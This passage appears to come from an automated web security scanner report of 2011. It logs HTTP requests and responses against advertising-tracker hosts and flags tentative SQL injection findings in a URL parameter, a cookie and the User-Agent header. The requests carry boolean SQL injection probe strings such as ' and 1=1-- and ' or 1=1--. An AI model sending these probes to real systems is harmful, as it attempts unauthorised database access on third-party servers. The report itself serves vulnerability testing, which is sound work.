Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uat=1_1304506950; cmp=1_1304903354_13521:0_11051:0_13981:208292_13479:208292_15758:367625_12704:367625_4895:795810_10164:1160086_10638:1160086_10640:1160086_10641:1160086_1437:1160086_1660:1723682; sit=1_1304903354_3006:489:0_3455:208292:208292_2988:430572:396401_3801:543015:542595_1714:827548:795810_3306:1055174:367625_719:1160913:1160086_2451:1211782:1206682_3236:1369745:1369627_782:1724031:1723682; bpd=1_1304903354_1ZunS:78_1ZCU5:4QUb; apd=1_1304903354_1ZunS:6O; afl=1_1304903354; cre=1_1304957859_29881:55445:1:0_24309:52570:1:2885_24308:52572:1:2887_29805:59534:2:8185_29807:59535:1:8190_29802:59536:1:596888; kwd=1_1304957859_12936:262797_11317:1214591_11717:1214591_11718:1214591_11719:1214591; scg=1_1304957859; ppd=1_1304957859; uid=1_1305033466_1303179323923:6792170478871670

Response 1

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:55:26 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: cre=1_1305035726_30829:59178:1:0_29881:55445:1:77867_24309:52570:1:80752_24308:52572:1:80754_29805:59534:2:86052_29807:59535:1:86057_29802:59536:1:674755; Domain=.fetchback.com; Expires=Sun, 08-May-2016 13:55:26 GMT; Path=/
Set-Cookie: uid=1_1305035726_1303179323923:6792170478871670; Domain=.fetchback.com; Expires=Sun, 08-May-2016 13:55:26 GMT; Path=/
Set-Cookie: kwd=1_1305035726_12936:340664_11317:1292458_11717:1292458_11718:1292458_11719:1292458; Domain=.fetchback.com; Expires=Sun, 08-May-2016 13:55:26 GMT; Path=/
Set-Cookie: scg=1_1305035726; Domain=.fetchback.com; Expires=Sun, 08-May-2016 13:55:26 GMT; Path=/
Set-Cookie: ppd=1_1305035726; Domain=.fetchback.com; Expires=Sun, 08-May-2016 13:55:26 GMT; Path=/
Cache-Control: max-age=0, no-store, must-revalidate, no-cache
Expires: Tue, 10 May 2011 13:55:26 GMT
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 6488

<style type="text/css">body {margin: 0px; padding: 0px;}</style>
<a href="http://imp.fetchback.com/serve/fb/overlay?233429ccd3f3081e4963cf7dd1c978eb4c2611e4614a3203f2d75d0f141ed609c8c6640de8bdf1052201889e865cb3a4" target="_blank" onmouseover="document.getElementById('adchoice').src='http://images.fetchback.com/assets/ad_info/adchoice_rollover.v1.png'" onmouseout="document.getElementById('adchoice').src='http://images.fetchback.com/assets/ad_info/adchoice.v1.png'">
<img style="float:right;position:absolute;z-index:10000;top:0px;right:0px;color:#ffffff;padding:0px;margin:0px;" src="http://images.fetchback.com/assets/ad_info/adchoice.v1.png" id="adchoice" name="adchoice" border="0"/></a>
<image id="hovergif" src="../images/blank.gif" hoverStart="0" hoverTracking="false" width="1" height="1" border="0" alt="" style="position:absolute;top:0px;left:0px;"/>
<script language="javascript" type="text/javascript">
function hoverTrack() {
// note: time is in milliseconds
document.getElementById("hovergif").hoverStart = (new Date()).getTime();
document.getElementById("hovergif").hoverTracking = "true";
   return;
}

function hoverTrackDone() {
if(document.getElementById("hovergif").hoverTracking == "true") {
       // if user has hovered for more than X milliseconds
       var diff = Math.abs((new Date()).getTime() - document.getElementById("hovergif").hoverStart);

if(diff >= 250) {
           document.getElementById("hovergif").src="hover?tid=59178&crid=30829&cb=" + Math.floor(Math.random()*100000000);
   document.getElementById("hovergif").hoverTracking = "false";

           // remove the events listeners; we do not need them anymore
           if(document.removeEventListener) {
               document.removeEventListener("mouseout", hoverTrackDone, false);
               document.removeEventListener("mouseover", hoverTrack, false);
           }

           else if(document.detachEvent) {
               document.detachEvent("onmouseout", hoverTrackDone);
               document.detachEvent("onmouseover", hoverTrack);
           }
       }
   }
   return;
}

// attach events
if(document.addEventListener) {
   document.addEventListener("mouseout", hoverTrackDone, false);
   d
...[SNIP]...

Request 2

GET /serve/fb/imp?tid=59178&type=lead&clicktrack=http://ib.adnxs.com/click/oQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j-uR-F6FK7jPxQvhA5f9a4DSsYda6b2ziX1OslNAAAAAKNHAwBlAQAAGgEAAAIAAACoJgQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE8g8BAQUCAAIAAAAABSaDgQAAAAA./cnd=!GR5c4gih4AMQqM0QGAAgvcgBMAA41itAAEiaAlAAWABg2gFoAHAAeACAAQCIAQCQAQGYAQGgAQGoAQOwAQG5Aa5H4XoUruM_wQGuR-F6FK7jP8kBEFg5tMh28j_QAQA./referrer=http%253A%252F%252Fwww.huffingtonpost.com/clickenc=http%253A%252F%252Fbid.openx.net%252Fclick%253Fcd%253DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%253D%2526dst%253D&1%20and%201%3d2--%20=1 HTTP/1.1
Host: imp.fetchback.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=oQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j-uR-F6FK7jPxQvhA5f9a4DSsYda6b2ziX1OslNAAAAAKNHAwBlAQAAGgEAAAIAAACoJgQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE8g8BAgUCAAIAAAAABiaUgQAAAAA.&pubclick=http://bid.openx.net/click?cd%3DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%3D%26dst%3D&tt_code=huffingtonpost.com&udj=uf%28%27a%27%2C+2248%2C+1305033483%29%3Buf%28%27c%27%2C+61473%2C+1305033483%29%3Buf%28%27r%27%2C+272040%2C+1305033483%29%3Bppv%287166%2C+%27265419216675680020%27%2C+1305033483%2C+1336569483%2C+61473%2C+25661%29%3B&cnd=!GR5c4gih4AMQqM0QGAAgvcgBMAA41itAAEiaAlAAWABg2gFoAHAAeACAAQCIAQCQAQGYAQGgAQGoAQOwAQG5Aa5H4XoUruM_wQGuR-F6FK7jP8kBEFg5tMh28j_QAQA.&referrer=http://www.huffingtonpost.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uat=1_1304506950; cmp=1_1304903354_13521:0_11051:0_13981:208292_13479:208292_15758:367625_12704:367625_4895:795810_10164:1160086_10638:1160086_10640:1160086_10641:1160086_1437:1160086_1660:1723682; sit=1_1304903354_3006:489:0_3455:208292:208292_2988:430572:396401_3801:543015:542595_1714:827548:795810_3306:1055174:367625_719:1160913:1160086_2451:1211782:1206682_3236:1369745:1369627_782:1724031:1723682; bpd=1_1304903354_1ZunS:78_1ZCU5:4QUb; apd=1_1304903354_1ZunS:6O; afl=1_1304903354; cre=1_1304957859_29881:55445:1:0_24309:52570:1:2885_24308:52572:1:2887_29805:59534:2:8185_29807:59535:1:8190_29802:59536:1:596888; kwd=1_1304957859_12936:262797_11317:1214591_11717:1214591_11718:1214591_11719:1214591; scg=1_1304957859; ppd=1_1304957859; uid=1_1305033466_1303179323923:6792170478871670

Response 2

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:55:27 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: cre=1_1305035727_30826:59178:1:0_29881:55445:1:77868_24309:52570:1:80753_24308:52572:1:80755_29805:59534:2:86053_29807:59535:1:86058_29802:59536:1:674756; Domain=.fetchback.com; Expires=Sun, 08-May-2016 13:55:27 GMT; Path=/
Set-Cookie: uid=1_1305035727_1303179323923:6792170478871670; Domain=.fetchback.com; Expires=Sun, 08-May-2016 13:55:27 GMT; Path=/
Set-Cookie: kwd=1_1305035727_12936:340665_11317:1292459_11717:1292459_11718:1292459_11719:1292459; Domain=.fetchback.com; Expires=Sun, 08-May-2016 13:55:27 GMT; Path=/
Set-Cookie: scg=1_1305035727; Domain=.fetchback.com; Expires=Sun, 08-May-2016 13:55:27 GMT; Path=/
Set-Cookie: ppd=1_1305035727; Domain=.fetchback.com; Expires=Sun, 08-May-2016 13:55:27 GMT; Path=/
Cache-Control: max-age=0, no-store, must-revalidate, no-cache
Expires: Tue, 10 May 2011 13:55:27 GMT
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 6502

<style type="text/css">body {margin: 0px; padding: 0px;}</style>
<a href="http://imp.fetchback.com/serve/fb/overlay?262777a73fc8d937c491746a414c58568e7003d8663873dd55b3a6a9e0505bb83aaef7d13381435d2201889e865cb3a4" target="_blank" onmouseover="document.getElementById('adchoice').src='http://images.fetchback.com/assets/ad_info/adchoice_rollover.v1.png'" onmouseout="document.getElementById('adchoice').src='http://images.fetchback.com/assets/ad_info/adchoice.v1.png'">
<img style="float:right;position:absolute;z-index:10000;top:0px;right:0px;color:#ffffff;padding:0px;margin:0px;" src="http://images.fetchback.com/assets/ad_info/adchoice.v1.png" id="adchoice" name="adchoice" border="0"/></a>
<image id="hovergif" src="../images/blank.gif" hoverStart="0" hoverTracking="false" width="1" height="1" border="0" alt="" style="position:absolute;top:0px;left:0px;"/>
<script language="javascript" type="text/javascript">
function hoverTrack() {
// note: time is in milliseconds
document.getElementById("hovergif").hoverStart = (new Date()).getTime();
document.getElementById("hovergif").hoverTracking = "true";
   return;
}

function hoverTrackDone() {
if(document.getElementById("hovergif").hoverTracking == "true") {
       // if user has hovered for more than X milliseconds
       var diff = Math.abs((new Date()).getTime() - document.getElementById("hovergif").hoverStart);

if(diff >= 250) {
           document.getElementById("hovergif").src="hover?tid=59178&crid=30826&cb=" + Math.floor(Math.random()*100000000);
   document.getElementById("hovergif").hoverTracking = "false";

           // remove the events listeners; we do not need them anymore
           if(document.removeEventListener) {
               document.removeEventListener("mouseout", hoverTrackDone, false);
               document.removeEventListener("mouseover", hoverTrack, false);
           }

           else if(document.detachEvent) {
               document.detachEvent("onmouseout", hoverTrackDone);
               document.detachEvent("onmouseover", hoverTrack);
           }
       }
   }
   return;
}

// attach events
if(document.addEventListener) {
   document.addEventListener("mouseout", hoverTrackDone, false);
   d
...[SNIP]...

1.10. http://map.media6degrees.com/orbserv/hbjs [rdrlst cookie] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://map.media6degrees.com
Path:	/orbserv/hbjs

Issue detail

The rdrlst cookie appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the rdrlst cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /orbserv/hbjs?pixId=5129&pcv=36 HTTP/1.1
Host: map.media6degrees.com
Proxy-Connection: keep-alive
Referer: http://ad.media6degrees.com/adserv/cs?tId=4602020164879145|cb=1305033257|adType=iframe|cId=5902|ec=1|spId=30812|advId=1209|exId=21|price=2.133250|pubId=625|secId=414|invId=3715|notifyServer=asd163.sd.pl.pvt|notifyPort=8080|bid=1.75|srcUrlEnc=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=AC4E503D48FE2CEEC5068B639D61E649; ipinfo=2lkkjj40zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=016020a0e0f0g0h1ljtllpxzt1146caxzt1tr37xzt1tr37xzt1146caxzt113zye; adh=1lkkxr816054tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; clid=2ljtllp01170xrd52zkwjuxh15si80183m030k0b50u; rdrlst=43c0pahlkze3o000000023m02157rlklhm40000000f3m03144qlkze3o000000023m02157olkxlm50000000a3m0313y7lkze3o000000023m0215sklkkpqq0000000n3m030hsnlkze3o000000023m0212nslkxrxz000000043m030x1blkkpqq0000000n3m030hsplkkpqq0000000n3m0312gdlkkyy00000000j3m030morlkkxrb0000000k3m0314k6lkxlm50000000a3m030w35lkze3o000000023m0213pylkze3o000000023m0214rwlkxlm50000000a3m0314khlkxlm50000000a3m031196lkkkbe0000000t3m0313x4lkxrxz000000043m031195lkkpqh0000000o3m031194lkkjj40000000u3m030dlxlkb5u20000000y3m0316nulkxlm50000000a3m031193lkkplo0000000q3m030p46lkkpqq0000000n3m031192lkkpke0000000s3m03008slklhm40000000f3m0316oilkxlm50000000a3m030moylkl0r50000000g3m03144elkze3o000000023m0212ftlkxrxz000000043m0310poljyxb4000000153m030e6llkl0r50000000g3m03138olkxrxz000000043m0316dnlkze3o000000023m02167ulkxq41000000053m0314qllkxlm50000000a3m03159olk8fax000000103m0315halkxlm50000000a3m030m0ulkl0r50000000g3m030m0plkkxrb0000000k3m0316e6lkxnbq000000093m0314xnlkxlm50000000a3m03167blkl0r50000000g3m0316dxlkze3o000000023m021391lkxrxz000000043m031672lkkxrb0000000k3m030ycrlkncow0000000e3m03158mlkze3o000000023m020okclkze3o000000023m0213lelkxrxz000000043m0313yolkze3o000000023m02137rlkkpqq0000000n3m030ojulkze3o000000023m021240lkxrxz000000043m0314ozlkxlm50000000a3m0314bmlkxrxz000000043m0314j7lkxlm50000000a3m0314bzlkxlm50000000a3m030ni1lkb5u20000000y3m0311pjlkxrxz000000043m030p01lkze3o000000023m0215holkxlm50000000a3m030m7alkkxrb0000000k3m0313mklkxrxz000000043m030m7flkkyyl0000000i3m03101ulkze3o000000023m020zoklkze3o000000023m0212zglkxrxz000000043m0313lxlkxrxz000000043m030zp4lkze3o000000023m02148ilkxlm50000000a3m030xvclkze3o000000023m0212yxlkxrxz000000043m0315iglkxq0l000000063m0316s2lkxpyu000000073m0314hplkxlm50000000a3m030znmlk3462000000133m0314hclkxlm50000000a3m030wd7lkze3o000000023m02102plkxrxz000000043m0310tylkkpku0000000r3m030p1blkb5u20000000y3m030p1alkze3o000000023m0200bvlk9pe80000000z3m0315xylk60qe000000123m0310lxlkxrxz000000043m03103blkxrxz000000043m0310telkd7nq0000000x3m0316rslkxppm000000083m030c9slk9pe80000000z3m0313mxlkze3o000000023m0212emlkze3o000000023m0210rdlkdkly0000000v3m03126qlkxrxz000000043m030mj2lkkxrb0000000k3m030kualkkpqq0000000n3m03163plkxlm50000000a3m030z9xlkze3o000000023m020m45lkl0r50000000g3m030m40lkkxrb0000000k3m030zqylkxrxz000000043m030mjelkkxrb0000000k3m0312qnlkkplt0000000p3m030ovslkze3o000000023m0212x6lkxrxz000000043m030bo8lkb5u20000000y3m0314e9lkze3o000000023m020mjjlkl0r50000000g3m030lw5lkb5u20000000y3m0316aulkze3o000000023m0215k9lkxlm50000000a3m0316atlkxlm50000000a3m031203lkb5u20000000y3m03163clkxlm50000000a3m031204lkkyy00000000j3m030afqlkze3o000000023m020o0vlkkpqx0000000m3m030z2ilkkxrb0000000k3m0313ovlkxrxz000000043m03'%20and%201%3d1--%20; sglst=2280sbpelkxlm50000000a3m030k0a50adsnlkxlm5006bu00a3m030k0a50aarllkxlm5006bu00a3m030k0a50acg5lkxlm5006bu00a3m030k0a50a9rslkkpke0d2dl00s3m030k0b50sam5lkkxr8002zw00l3m030k0b50lcd4lkxlm5006bu00a3m030k0a50acrglkxlm5006bu00a3m030k0a50acnolkxlm5006bu00a3m030k0a50aabelkxlm5006bu00a3m030k0a50add8lkxlm5006bu00a3m030k0a50acy2lkxlm5006bu00a3m030k0a50aaoplkb5u209jqc0063e000j00500cnxlkxlm50000000a3m030k0a50abq3lkxlm5006bu00a3m030k0a50abvplkxlm5006bu00a3m030k0a50aaoilkxlm5006bu00a3m030k0a50a942lkb5u20mfs300o3l000k005008ndlkb5u20mfs300o3l000k005009ullkxlm5006bu00a3m030k0a50abvclkxlm5006bu00a3m030k0a50ac5flkxlm5006bu00a3m030k0a50a56blkb5u20mfs300o3l000k00500bjqlkxlm5006bu00a3m030k0a50aawklkxlm5006bu00a3m030k0a50aasulkb5u209jqc0063e000j00500crplkxlm5006bu00a3m030k0a50aasqlkxlm5006bu00a3m030k0a50ac5rlkov6e0000000d3m030k0b50daw8lkxlm5006bu00a3m030k0a50ac60lkxlm5006bu00a3m030k0a50adc4lkxlm5006bu00a3m030k0a50ad26lkxlm5006bu00a3m030k0a50adnjlkxlm5006bu00a3m030k0a50abrilkxlm5006bu00a3m030k0a50acbclkxlm5006bu00a3m030k0a50ac85lkxlm5006bu00a3m030k0a50acsslkxlm5006bu00a3m030k0a50ac80lkb5u209jqc0063e000j00500ag2lkd7nq0m6g700x3m030k0b50uc1elkxlm5006bu00a3m030k0a50ac81lkkpke0cw1r00i3l000k005009grlkxlm5006bu00a3m030k0a50ac8flkxlm5006bu00a3m030k0a50aa6slkkpke0cw1r00i3l000k00500dnalkxlm5006bu00a3m030k0a50a9z6lkxlm50000000a3m030k0a50adbtlkxlm5006bu00a3m030k0a50adyllkxlm5006bu00a3m030k0a50a0kllklhm40c4010053l000k005009q4lkxlm5006bu00a3m030k0a50a9q5lkb5u20mfs300o3l000k00500b3zlkxlm5006bu00a3m030k0a50a0t7ljyxb410gst0153m030k0b50udgflkkpke0d2dl00s3m030k0b50s9mjlkxlm50000000a3m030k0a50abo0lkb5u20mm3x00y3m030k0b50ubo1lkkyy00cmo50093l000k005009pglkxlm5006bu00a3m030k0a50acwalkxlm5006bu00a3m030k0a50ad86lklhm40c4010053l000k00500d84lkxlm5006bu00a3m030k0a50adqllkxlm5006bu00a3m030k0a50adz3lkxlm5006bu00a3m030k0a50acm6lkxlm5006bu00a3m030k0a50acxdlkxlm5006bu00a3m030k0a50a719lkb5u20mm3x00g3m030k0a50b71alkkpke0cw1r00i3l000k00500ctplkxlm5006bu00a3m030k0a50acc3lkxlm5006bu00a3m030k0a50adgilkb5u209jqc0063e000j00500cthlkxlm5006bu00a3m030k0a50a4wclkb5u20mm3x00g3m030k0a50b8eklkkpke0cw1r00i3l000k005005mrlkb5u20mfs300o3l000k00500a0ulkxlm5006bu00a3m030k0a50aarilkxlm50000000a3m030k0a50abwjlkkyy00cszz00j3m030k0b50jcbplkxlm5006bu00a3m030k0a50a9gelkxlm5006bu00a3m030k0a50a; vstcnt=417k010r164slly127p10f24exp6103210e24tc6l103210e249v4u10pj10e24ru4y103210722te10tq10a24f69z103210f24tmhw103210924n86o103210d24pq44103210a24eflo218e104203210724na8i103210e24eyja103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24dret103210724uzdp103210b24gqhl103210923sti21hj10a203210e24cnyl103210g24styu10321092451gt10pj10e24fj52103210924o2lt103210a24nnav103210f24m1v2103210a24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b24hqyp103210i24kd6k103210c23l4f103210a2

Response 1

Request 2

GET /orbserv/hbjs?pixId=5129&pcv=36 HTTP/1.1
Host: map.media6degrees.com
Proxy-Connection: keep-alive
Referer: http://ad.media6degrees.com/adserv/cs?tId=4602020164879145|cb=1305033257|adType=iframe|cId=5902|ec=1|spId=30812|advId=1209|exId=21|price=2.133250|pubId=625|secId=414|invId=3715|notifyServer=asd163.sd.pl.pvt|notifyPort=8080|bid=1.75|srcUrlEnc=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=AC4E503D48FE2CEEC5068B639D61E649; ipinfo=2lkkjj40zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=016020a0e0f0g0h1ljtllpxzt1146caxzt1tr37xzt1tr37xzt1146caxzt113zye; adh=1lkkxr816054tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; clid=2ljtllp01170xrd52zkwjuxh15si80183m030k0b50u; rdrlst=43c0pahlkze3o000000023m02157rlklhm40000000f3m03144qlkze3o000000023m02157olkxlm50000000a3m0313y7lkze3o000000023m0215sklkkpqq0000000n3m030hsnlkze3o000000023m0212nslkxrxz000000043m030x1blkkpqq0000000n3m030hsplkkpqq0000000n3m0312gdlkkyy00000000j3m030morlkkxrb0000000k3m0314k6lkxlm50000000a3m030w35lkze3o000000023m0213pylkze3o000000023m0214rwlkxlm50000000a3m0314khlkxlm50000000a3m031196lkkkbe0000000t3m0313x4lkxrxz000000043m031195lkkpqh0000000o3m031194lkkjj40000000u3m030dlxlkb5u20000000y3m0316nulkxlm50000000a3m031193lkkplo0000000q3m030p46lkkpqq0000000n3m031192lkkpke0000000s3m03008slklhm40000000f3m0316oilkxlm50000000a3m030moylkl0r50000000g3m03144elkze3o000000023m0212ftlkxrxz000000043m0310poljyxb4000000153m030e6llkl0r50000000g3m03138olkxrxz000000043m0316dnlkze3o000000023m02167ulkxq41000000053m0314qllkxlm50000000a3m03159olk8fax000000103m0315halkxlm50000000a3m030m0ulkl0r50000000g3m030m0plkkxrb0000000k3m0316e6lkxnbq000000093m0314xnlkxlm50000000a3m03167blkl0r50000000g3m0316dxlkze3o000000023m021391lkxrxz000000043m031672lkkxrb0000000k3m030ycrlkncow0000000e3m03158mlkze3o000000023m020okclkze3o000000023m0213lelkxrxz000000043m0313yolkze3o000000023m02137rlkkpqq0000000n3m030ojulkze3o000000023m021240lkxrxz000000043m0314ozlkxlm50000000a3m0314bmlkxrxz000000043m0314j7lkxlm50000000a3m0314bzlkxlm50000000a3m030ni1lkb5u20000000y3m0311pjlkxrxz000000043m030p01lkze3o000000023m0215holkxlm50000000a3m030m7alkkxrb0000000k3m0313mklkxrxz000000043m030m7flkkyyl0000000i3m03101ulkze3o000000023m020zoklkze3o000000023m0212zglkxrxz000000043m0313lxlkxrxz000000043m030zp4lkze3o000000023m02148ilkxlm50000000a3m030xvclkze3o000000023m0212yxlkxrxz000000043m0315iglkxq0l000000063m0316s2lkxpyu000000073m0314hplkxlm50000000a3m030znmlk3462000000133m0314hclkxlm50000000a3m030wd7lkze3o000000023m02102plkxrxz000000043m0310tylkkpku0000000r3m030p1blkb5u20000000y3m030p1alkze3o000000023m0200bvlk9pe80000000z3m0315xylk60qe000000123m0310lxlkxrxz000000043m03103blkxrxz000000043m0310telkd7nq0000000x3m0316rslkxppm000000083m030c9slk9pe80000000z3m0313mxlkze3o000000023m0212emlkze3o000000023m0210rdlkdkly0000000v3m03126qlkxrxz000000043m030mj2lkkxrb0000000k3m030kualkkpqq0000000n3m03163plkxlm50000000a3m030z9xlkze3o000000023m020m45lkl0r50000000g3m030m40lkkxrb0000000k3m030zqylkxrxz000000043m030mjelkkxrb0000000k3m0312qnlkkplt0000000p3m030ovslkze3o000000023m0212x6lkxrxz000000043m030bo8lkb5u20000000y3m0314e9lkze3o000000023m020mjjlkl0r50000000g3m030lw5lkb5u20000000y3m0316aulkze3o000000023m0215k9lkxlm50000000a3m0316atlkxlm50000000a3m031203lkb5u20000000y3m03163clkxlm50000000a3m031204lkkyy00000000j3m030afqlkze3o000000023m020o0vlkkpqx0000000m3m030z2ilkkxrb0000000k3m0313ovlkxrxz000000043m03'%20and%201%3d2--%20; sglst=2280sbpelkxlm50000000a3m030k0a50adsnlkxlm5006bu00a3m030k0a50aarllkxlm5006bu00a3m030k0a50acg5lkxlm5006bu00a3m030k0a50a9rslkkpke0d2dl00s3m030k0b50sam5lkkxr8002zw00l3m030k0b50lcd4lkxlm5006bu00a3m030k0a50acrglkxlm5006bu00a3m030k0a50acnolkxlm5006bu00a3m030k0a50aabelkxlm5006bu00a3m030k0a50add8lkxlm5006bu00a3m030k0a50acy2lkxlm5006bu00a3m030k0a50aaoplkb5u209jqc0063e000j00500cnxlkxlm50000000a3m030k0a50abq3lkxlm5006bu00a3m030k0a50abvplkxlm5006bu00a3m030k0a50aaoilkxlm5006bu00a3m030k0a50a942lkb5u20mfs300o3l000k005008ndlkb5u20mfs300o3l000k005009ullkxlm5006bu00a3m030k0a50abvclkxlm5006bu00a3m030k0a50ac5flkxlm5006bu00a3m030k0a50a56blkb5u20mfs300o3l000k00500bjqlkxlm5006bu00a3m030k0a50aawklkxlm5006bu00a3m030k0a50aasulkb5u209jqc0063e000j00500crplkxlm5006bu00a3m030k0a50aasqlkxlm5006bu00a3m030k0a50ac5rlkov6e0000000d3m030k0b50daw8lkxlm5006bu00a3m030k0a50ac60lkxlm5006bu00a3m030k0a50adc4lkxlm5006bu00a3m030k0a50ad26lkxlm5006bu00a3m030k0a50adnjlkxlm5006bu00a3m030k0a50abrilkxlm5006bu00a3m030k0a50acbclkxlm5006bu00a3m030k0a50ac85lkxlm5006bu00a3m030k0a50acsslkxlm5006bu00a3m030k0a50ac80lkb5u209jqc0063e000j00500ag2lkd7nq0m6g700x3m030k0b50uc1elkxlm5006bu00a3m030k0a50ac81lkkpke0cw1r00i3l000k005009grlkxlm5006bu00a3m030k0a50ac8flkxlm5006bu00a3m030k0a50aa6slkkpke0cw1r00i3l000k00500dnalkxlm5006bu00a3m030k0a50a9z6lkxlm50000000a3m030k0a50adbtlkxlm5006bu00a3m030k0a50adyllkxlm5006bu00a3m030k0a50a0kllklhm40c4010053l000k005009q4lkxlm5006bu00a3m030k0a50a9q5lkb5u20mfs300o3l000k00500b3zlkxlm5006bu00a3m030k0a50a0t7ljyxb410gst0153m030k0b50udgflkkpke0d2dl00s3m030k0b50s9mjlkxlm50000000a3m030k0a50abo0lkb5u20mm3x00y3m030k0b50ubo1lkkyy00cmo50093l000k005009pglkxlm5006bu00a3m030k0a50acwalkxlm5006bu00a3m030k0a50ad86lklhm40c4010053l000k00500d84lkxlm5006bu00a3m030k0a50adqllkxlm5006bu00a3m030k0a50adz3lkxlm5006bu00a3m030k0a50acm6lkxlm5006bu00a3m030k0a50acxdlkxlm5006bu00a3m030k0a50a719lkb5u20mm3x00g3m030k0a50b71alkkpke0cw1r00i3l000k00500ctplkxlm5006bu00a3m030k0a50acc3lkxlm5006bu00a3m030k0a50adgilkb5u209jqc0063e000j00500cthlkxlm5006bu00a3m030k0a50a4wclkb5u20mm3x00g3m030k0a50b8eklkkpke0cw1r00i3l000k005005mrlkb5u20mfs300o3l000k00500a0ulkxlm5006bu00a3m030k0a50aarilkxlm50000000a3m030k0a50abwjlkkyy00cszz00j3m030k0b50jcbplkxlm5006bu00a3m030k0a50a9gelkxlm5006bu00a3m030k0a50a; vstcnt=417k010r164slly127p10f24exp6103210e24tc6l103210e249v4u10pj10e24ru4y103210722te10tq10a24f69z103210f24tmhw103210924n86o103210d24pq44103210a24eflo218e104203210724na8i103210e24eyja103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24dret103210724uzdp103210b24gqhl103210923sti21hj10a203210e24cnyl103210g24styu10321092451gt10pj10e24fj52103210924o2lt103210a24nnav103210f24m1v2103210a24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b24hqyp103210i24kd6k103210c23l4f103210a2

Response 2

1.11. http://map.media6degrees.com/orbserv/hbpix [User-Agent HTTP header] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://map.media6degrees.com
Path:	/orbserv/hbpix

Issue detail

The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. The payloads 83126303'%20or%201%3d1--%20 and 83126303'%20or%201%3d2--%20 were each submitted in the User-Agent HTTP header. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

